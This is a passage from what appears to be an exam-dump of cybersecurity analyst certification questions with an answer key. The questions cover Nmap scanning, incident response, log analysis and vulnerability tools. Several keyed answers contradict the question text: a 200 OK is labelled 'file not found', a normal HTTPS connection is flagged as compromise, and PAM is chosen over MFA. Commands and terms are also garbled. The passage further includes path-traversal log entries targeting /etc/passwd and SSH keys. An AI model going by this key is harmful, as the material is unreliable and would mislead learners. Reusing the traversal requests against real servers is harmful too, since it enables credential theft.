C. /bin/la -1 /proc/1301/exe
D. kill -9 1301

Answer: A

NEW QUESTION 204
When attempting to do a stealth scan against a system that does not respond to ping, which of the following Nmap commands BEST accomplishes that goal?

A. nmap –sA –O <system> -noping
B. nmap –sT –O <system> -P0
C. nmap –sS –O <system> -P0
D. nmap –sQ –O <system> -P0

Answer: C

NEW QUESTION 206
A cybersecurity analyst is currently checking a newly deployed server that has an access control list applied. When conducting the scan, the analyst received the following code snippet of results:

```
Mail Server1
Trying 192.168.2.2
Connected
Get / HTTP/ 1.0

HTTP:1.0 200 Document follows
Server: server/0.10
Connection: close
Set-Cookie: testing=1; path=/
```

Which of the following describes the output of this scan?

A. The analyst has discovered a False Positive, and the status code is incorrect providing an OK message.
B. The analyst has discovered a True Positive, and the status code is correct providing a file not found error message.
C. The analyst has discovered a True Positive, and the status code is incorrect providing a forbidden message.
D. The analyst has discovered a False Positive, and the status code is incorrect providing a server error message.

Answer: B

NEW QUESTION 210
During a cyber incident, which of the following is the BEST course of action?

A. Switch to using a pre-approved, secure, third-party communication system.
B. Keep the entire company informed to ensure transparency and integrity during the incident.
C. Restrict customer communication until the severity of the breach is confirmed.
D. Limit communications to pre-authorized parties to ensure response efforts remain confidential.

Answer: D

NEW QUESTION 215
An incident responder successfully acquired application binaries off a mobile device for later forensic analysis. Which of the following should the analyst do NEXT?

A. Decompile each binary to derive the source code.
B. Perform a factory reset on the affected mobile device.
C. Compute SHA-256 hashes for each binary.
D. Encrypt the binaries using an authenticated AES-256 mode of operation.
E. Inspect the permissions manifests within each application.

Answer: C

NEW QUESTION 216
An information security analyst is reviewing backup data sets as part of a project focused on eliminating archival data sets.
Which of the following should be considered FIRST prior to disposing of the electronic data?

A. Sanitization policy
B. Data sovereignty
C. Encryption policy
D. Retention standards

Answer: D

NEW QUESTION 221
During an incident, a cybersecurity analyst found several entries in the web server logs that are related to an IP with a bad reputation . Which of the following would cause the analyst to further review the incident?
A)

```
BadReputationIp - - [2019-04-12 10:43Z] "GET /etc/passwd" 403 1023
```

B)

```
BadReputationIp - - [2019-04-12 10:43Z] "GET /index.html?src=../.ssh/id_rsa" 401 17044
```

C)

```
BadReputationIp - - [2019-04-12 10:43Z] "GET /a.php?src=/etc/passwd" 403 11056
```

D)

```
BadReputationIp - - [2019-04-12 10:43Z] "GET /a.php?src=../../.ssh/id_rsa" 200 15036
```

E)

```
BadReputationIp - - [2019-04-12 10:43Z] "GET /favicon.ico?src=../usr/share/icons" 200 19064
```

A. Option A
B. Option B
C. Option C
D. Option D
E. Option E

Answer: D

NEW QUESTION 222
A user's computer has been running slowly when the user tries to access web pages. A security analyst runs the command netstat -aon from the command line and receives the following output:

LINE	PROTOCOL	LOCAL ADDRESS	FOREIGN ADDRESS	STATE
1	TCP	127.0.0.1:15453	127.0.0.1:16374	ESTABLISHED
2	TCP	127.0.0.1:8193	127.0.0.1:8192	ESTABLISHED
3	TCP	192.168.0.23:443	185.23.17.119:17207	ESTABLISHED
4	TCP	192.168.0.23:13985	172.217.0.14:443	ESTABLISHED
5	TCP	192.168.0.23:6023	185.23.17.120:443	ESTABLISHED
6	TCP	192.168.0.23:7264	10.23.63.217:445	ESTABLISHED

Which of the following lines indicates the computer may be compromised?

A. Line 1
B. Line 2
C. Line 3
D. Line 4
E. Line 5
F. Line 6

Answer: D

NEW QUESTION 224
A security team is implementing a new vulnerability management program in an environment that has a historically poor security posture. The team is aware of issues patch management in the environment and expects a large number of findings. Which of the following would be the MOST efficient way to increase the security posture of the organization in the shortest amount of time?

A. Create an SLA stating that remediation actions must occur within 30 days of discovery for all levels of vulnerabilities.
B. Incorporate prioritization levels into the remediation process and address critical findings first.
C. Create classification criteria for data residing on different servers and provide remediation only for servers housing sensitive data.
D. Implement a change control policy that allows the security team to quickly deploy patches in the production environment to reduce the risk of any vulnerabilities found.

Answer: B

NEW QUESTION 227
A small electronics company decides to use a contractor to assist with the development of a new FPGA-based device. Several of the development phases will occur off-site at the contractor's labs.
Which of the following is the main concern a security analyst should have with this arrangement?

A. Making multiple trips between development sites increases the chance of physical damage to the FPGAs.
B. Moving the FPGAs between development sites will lessen the time that is available for security testing.
C. Development phases occurring at multiple sites may produce change management issues.
D. FPGA applications are easily cloned, increasing the possibility of intellectual property theft.

Answer: B

NEW QUESTION 230
A security analyst recently discovered two unauthorized hosts on the campus's wireless network segment from a man-m-the-middle attack .The security analyst also verified that privileges were not escalated, and the two devices did not gain access to other network devices Which of the following would BEST mitigate and improve the security posture of the wireless network for this type of attack?

A. Enable MAC filtering on the wireless router and suggest a stronger encryption for the wireless network,
B. Change the SSID, strengthen the passcode, and implement MAC filtering on the wireless router.
C. Enable MAC filtering on the wireless router and create a whitelist that allows devices on the network
D. Conduct a wireless survey to determine if the wireless strength needs to be reduced.

Answer: A

NEW QUESTION 235
A security analyst received a SIEM alert regarding high levels of memory consumption for a critical system. After several attempts to remediate the issue, the system went down. A root cause analysis revealed a bad actor forced the application to not reclaim memory. This caused the system to be depleted of resources. Which of the following BEST describes this attack?

A. Injection attack
B. Memory corruption
C. Denial of service
D. Array attack

Answer: B

NEW QUESTION 237
A large amount of confidential data was leaked during a recent security breach. As part of a forensic investigation, the security team needs to identify the various types of traffic that were captured between two
compromised devices.
Which of the following should be used to identify the traffic?

A. Carving
B. Disk imaging
C. Packet analysis
D. Memory dump
E. Hashing

Answer: C

NEW QUESTION 238
A SIEM solution alerts a security analyst of a high number of login attempts against the company's webmail portal. The analyst determines the login attempts used credentials from a past data breach. Which of the following is the BEST mitigation to prevent unauthorized access?

A. Single sign-on
B. Mandatory access control
C. Multifactor authentication
D. Federation
E. Privileged access management

Answer: E

NEW QUESTION 243
An organization suspects it has had a breach, and it is trying to determine the potential impact. The organization knows the following:

- The source of the breach is linked to an IP located in a foreign country.
- The breach is isolated to the research and development servers.
- The hash values of the data before and after the breach are unchanged.
- The affected servers were regularly patched, and a recent scan showed no vulnerabilities.

Which of the following conclusions can be drawn with respect to the threat and impact? (Choose two.)

A. The confidentiality of the data is unaffected.
B. The threat is an APT.
C. The source IP of the threat has been spoofed.
D. The integrity of the data is unaffected.
E. The threat is an insider.

Answer: BD

NEW QUESTION 244
A security architect is reviewing the options for performing input validation on incoming web form submissions. Which of the following should the architect as the MOST secure and manageable option?

A. Client-side whitelisting
B. Server-side whitelisting
C. Server-side blacklisting
D. Client-side blacklisting

Answer: B

NEW QUESTION 249
A security analyst is evaluating two vulnerability management tools for possible use in an organization. The analyst set up each of the tools according to the respective vendor's instructions and generated a report of vulnerabilities that ran against the same target server.
Tool A reported the following:

```
The target host (192.168.10.13) is missing the following patches:
CRITICAL KB50227328: Windows Server 2016 June 2019 Cumulative Update
CRITICAL KB50255293: Windows Server 2016 July 2019 Cumulative Update
HIGH MS19-055: Cumulative Security Update for Edge (2863871)
```

Tool B reported the following:

```
Methods GET HEAD OPTIONS POST TRACE are allowed on 192.168.10.13:80
192.168.10.13:443 uses a self-signed certificate
Apache 4.2.x < 4.2.28 Contains Multiple Vulnerabilities
```

Which of the following BEST describes the method used by each tool? (Choose two.)

A. Tool A is agent based.
B. Tool A used fuzzing logic to test vulnerabilities.
C. Tool A is unauthenticated.
D. Tool B utilized machine learning technology.
E. Tool B is agent based.
F. Tool B is unauthenticated.

Answer: CE

NEW QUESTION 250
A security analyst implemented a solution that would analyze the attacks that the organization’s firewalls failed to prevent. The analyst used the existing systems to enact the solution and executed the following command.
S sudo nc -1 -v -c maildemon . py 25 caplog, txt
Which of the following solutions did the analyst implement?

A. Log collector
B. Crontab mail script
C. Snikhole
D. Honeypot

Answer: A

NEW QUESTION 254
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